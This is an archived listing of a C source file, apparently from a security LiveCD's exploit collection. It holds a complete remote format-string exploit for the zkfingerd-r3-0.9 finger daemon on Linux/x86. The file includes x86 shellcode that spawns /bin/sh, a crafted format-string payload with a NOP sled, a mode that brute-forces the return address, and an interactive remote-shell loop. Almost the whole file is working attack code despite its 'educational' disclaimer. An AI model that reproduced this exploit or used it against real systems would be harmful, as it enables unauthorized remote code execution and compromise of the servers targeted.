home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / finger / johnx.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  7KB  |  310 lines
  1. /*
  2.  *
  3.  *        remote exploit for zkfingerd-r3-0.9 linux/x86 
  4.  *    gives uid of user who is running zkfingerd (default: nobody)              
  5.  *                    by Marceta Milos 
  6.  *                          root@marcetam.net
  7.  *             
  8.  *         use this for educational propouses only! 
  9.  * 
  10.  *     For local attack, response based method could be used, but for
  11.  *    remote we can use blind brute force method.
  12.  *
  13.  *    greets to scut, DeadMaker, stinger, harada and all others.
  14.  *     
  15.  */
  16.  
  17. #include<stdio.h>
  18. #include<string.h>
  19. #include<stdlib.h>
  20. #include<unistd.h>
  21. #include<sys/socket.h>
  22. #include<arpa/inet.h>
  23. #include<netdb.h>
  24.  
  25. #define Kb    1024
  26. #define PORT    79      
  27.  
  28. #define green    "\x1B[1;32m"
  29. #define def    "\x1B[0;37m"
  30. #define wh    "\x1B[1;37m"
  31.  
  32. #define SHOFF    576
  33. #define RETLOC  0xbffff970      /* Slackware 8.0 */
  34. #define FMT     "\x25\x25\x2e\x25\x64\x75\x25\x25\x68\x6e" 
  35. #define DIG8    "\x25\x2e\x66"
  36. #define NOP    "\x90"
  37.  
  38.  
  39.     char linux_x86_wrx[]=        
  40.  
  41.         "\x6a\x01"        /* push    $0x1        */
  42.         "\x5b"            /* pop %ebx        */
  43.         "\xb8\x0b\x6e\x4e\x0b"    /* mov $0x0b4e6e0b,%eax    */
  44.         "\x2d\x01\x01\x01\x01"    /* sub $0x01010101,%eax    */
  45.         "\x50"            /* push %eax        */
  46.         "\x89\xe1"        /* mov %esp,%ecx    */
  47.         "\x6a\x04"        /* push    $0x4        */
  48.         "\x58"            /* pop     %eax        */
  49.         "\x89\xc2"        /* mov %eax,%edx    */
  50.         "\xcd\x80"        /* int $0x80        */
  51.         "\xeb\x0c"        /* jmp 12        */
  52.         "\x4b"            /* dec %ebx        */
  53.         "\xf7\xe3"        /* mul %ebx        */
  54.         "\xfe\xca"        /* dec %dl        */
  55.         "\x59"            /* pop %ecx        */
  56.         "\xb0\x03"        /* movb $0x3,%al    */
  57.         "\xcd\x80"        /* int $0x80        */
  58.         "\xeb\x05"        /* jmp $0x05        */
  59.         "\xe8\xef\xff\xff\xff";    /* call -17         */
  60.  
  61.      char linux_x86_execve[]=
  62.  
  63.         "\x6a\x0b"        /* push $0x0b        */        
  64.         "\x58"            /* pop %eax        */
  65.         "\x99"            /* cdq            */
  66.         "\x52"            /* push %edx        */
  67.         "\x68\x6e\x2f\x73\x68"    /* push $0x68732f6e    */
  68.         "\x68\x2f\x2f\x62\x69"    /* push $0x69622f2f    */
  69.            "\x89\xe3"        /* mov %esp,%ebx    */
  70.             "\x52"            /* push %edx        */
  71.             "\x53"            /* push %ebx        */
  72.             "\x89\xe1"        /* mov %esp,%ecx    */
  73.             "\xcd\x80";        /* int $0x80        */
  74.  
  75. struct wr_addr {
  76.                 int low;
  77.                 int high;
  78.                 } addr;
  79.  
  80. int host_connect(char *, unsigned short int);
  81. unsigned long int resolve(char *);
  82.  
  83. void usage(char *);
  84. void exploit(char *, unsigned short int, unsigned long int);
  85. void shell(int);
  86.  
  87. struct wr_addr convert_addr(unsigned long);
  88.  
  89. char sendbuf[Kb];
  90. char recvbuf[Kb];
  91.  
  92. char *target        =    "127.0.0.1";
  93. unsigned short int port =     PORT;
  94. unsigned long retloc     =    RETLOC;
  95. unsigned short int brute=    0;
  96.  
  97.  
  98. int main(int argc, char **argv, char **env) {
  99.  
  100.     char c;
  101.  
  102.     printf(wh"\n remote nobody exploit for zkfingerd-r3-0.9 by marcetam."def"\n\n");
  103.  
  104.     if (argc<2)
  105.         usage(argv[0]);
  106.  
  107.         while ((c = getopt(argc, argv, "h:p:b:")) != EOF) {
  108.  
  109.                 switch (c) {
  110.  
  111.         case 'h':
  112.             target = optarg;
  113.             break;
  114.                 case 'p':
  115.             port = (short)atoi(optarg);
  116.             break;
  117.                 case 'b':
  118.             retloc    = strtoul(optarg, &optarg,16);
  119.             brute    = 1;
  120.             break;
  121.         default:
  122.             usage(argv[0]);
  123.                         break;
  124.                 }
  125.         }
  126.     printf(" target is : \n\n");
  127.     printf(" host : "wh"%s"def"\n",target);
  128.     printf(" port : "wh"%hu"def"\n",port);
  129.     printf(" ret  : "wh"%#lx"def"\n\n",retloc);
  130.     printf(" attacking ... ");
  131.  
  132.     if (brute != 0) {
  133.  
  134.         while(1) {
  135.  
  136.     printf("trying ret : %#lx\n", retloc);
  137.             sleep(1);
  138.             exploit(target, port, retloc);
  139.             retloc -= 1;
  140.         };
  141.     } else exploit(target, port, retloc);
  142.  
  143.     return(0);
  144. }
  145.  
  146. void usage(char *name){
  147.  
  148.         fprintf(stderr, " usage: %s -h <hostname> -p <port> -b <addr>\n\n",name);
  149.         fprintf(stderr, " -h host\t target hostname (default 127.0.0.1)\n"
  150.             " -p port\t port number (default 79)\n"
  151.             " -b addr\t brute force retloc starting from addr\n"
  152.             "\t\t   WARNING : this will flood logfile\n\n");
  153.  
  154.         exit(EXIT_FAILURE);
  155. }
  156.  
  157. void exploit(char *hostname, unsigned short int port, unsigned long int retaddr){ 
  158.  
  159.         unsigned long *ptr;
  160.  
  161.     char    ret[4],
  162.         *chr;
  163.  
  164.     int    i,
  165.         fd;
  166.  
  167.     bzero(sendbuf, Kb);
  168.     bzero(recvbuf, Kb);
  169.     bzero(ret, 4);
  170.  
  171.     fd = host_connect(hostname, port);
  172.  
  173.     ptr    =    (long *)ret;
  174.     *(ptr)    =    retaddr;
  175.     ret[sizeof(ret)] = '\0';
  176.  
  177.     for(i = 0;i < 3;i++)
  178.         strcat(sendbuf,ret);
  179.     ret[0] += 2;
  180.     strcat(sendbuf, ret);
  181.  
  182.     for(i = 0;i < 40; i++)
  183.         strcat(sendbuf, DIG8);      
  184.  
  185.     addr = convert_addr(retaddr + SHOFF);
  186.     sprintf(sendbuf + strlen(sendbuf), FMT, addr.low);
  187.     sprintf(sendbuf + strlen(sendbuf), FMT, addr.high);
  188.     chr = sendbuf + strlen(sendbuf);
  189.  
  190.     for(i = 0;i < 128;i++)
  191.         strcat(sendbuf, NOP);
  192.  
  193.     strcat(sendbuf, linux_x86_wrx);
  194.     write(fd, sendbuf, Kb);
  195.     read(fd, recvbuf, Kb);
  196.  
  197.     if (strcmp(recvbuf, "\nmM\n") == 0) {
  198.  
  199.         printf(green"YEAH!\n"def);
  200.         sleep(1);
  201.         printf(" sending shellcode. \n");
  202.         write(fd, linux_x86_execve, sizeof(linux_x86_execve));
  203.         printf(" starting shell #\n"def);
  204.         write(fd,"\n", 1);
  205.         write(fd,"uname -a;id\n", 12);
  206.         shell(fd);
  207.     }
  208.     else printf(wh" failed.\n\n"def);
  209. }
  210.  
  211. struct wr_addr convert_addr(unsigned long addr) {
  212.  
  213.     struct wr_addr target;
  214.  
  215.     target.low  = (addr & 0x0000ffff);
  216.     target.high = (addr & 0xffff0000) >> 16;
  217.  
  218.     if (target.high > target.low)
  219.         target.high -= target.low;
  220.     else {
  221.         target.high += 0x10000;
  222.         target.high -= target.low;
  223.     }
  224.     target.low -= 0x58;
  225.     return(target);
  226. }
  227.  
  228. unsigned long int resolve(char *hostname) {
  229.  
  230.     struct hostent *host;
  231.     long            r;
  232.  
  233.     r = inet_addr(hostname);
  234.  
  235.     if (r == -1) { 
  236.         host = gethostbyname(hostname);
  237.         if (host == NULL) {
  238.             return(0);
  239.         } else { 
  240.             return(*(unsigned long *)host->h_addr); 
  241.                    }
  242.     } 
  243.     return(r);
  244. }
  245.  
  246. int host_connect(char *hostname, unsigned short int port) {
  247.  
  248.         struct sockaddr_in    sa;
  249.     int            fd;
  250.  
  251.         sa.sin_family    =    AF_INET;
  252.         sa.sin_port    =    htons(port);
  253.         fd        =    socket(AF_INET, SOCK_STREAM, 0);
  254.  
  255.         if (fd == -1)
  256.         return(fd);
  257.  
  258.     if (!(sa.sin_addr.s_addr = resolve(hostname))) {
  259.         close(fd);
  260.                 return(-1);
  261.         }
  262.  
  263.     if (connect(fd, (struct sockaddr *)&sa, sizeof(struct sockaddr_in)) < 0) {
  264.         perror("connect");
  265.         close(fd);
  266.         return(-1);
  267.         }
  268.  
  269.         return(fd);
  270. }
  271.  
  272. void shell(int fd) {
  273.  
  274.     char    buf[512];
  275.     int    l;
  276.         fd_set  fds;
  277.  
  278.  
  279.         while (1) {
  280.  
  281.                 FD_SET(0, &fds);
  282.                 FD_SET(fd, &fds);
  283.  
  284.                 select(fd + 1, &fds, NULL, NULL, NULL);
  285.  
  286.                 if (FD_ISSET(0, &fds)) {
  287.                         l = read(0, buf, sizeof (buf));
  288.                         if (l <= 0) {
  289.                                 perror("read user");
  290.                                 exit(EXIT_FAILURE);
  291.                         }
  292.                         write(fd, buf, l);
  293.                 }
  294.  
  295.                 if (FD_ISSET(fd, &fds)) {
  296.                         l = read(fd, buf, sizeof (buf));
  297.                         if (l == 0) {
  298.                                 printf("connection closed by foreign host.\n");
  299.                                 exit(EXIT_FAILURE);
  300.                         } else if (l < 0) {
  301.                                 perror("read remote");
  302.                                 exit(EXIT_FAILURE);
  303.                         }
  304.                         write(1, buf, l);
  305.                 }
  306.         }
  307. }
  308.  
  309. /* www.marcetam.net */
  310.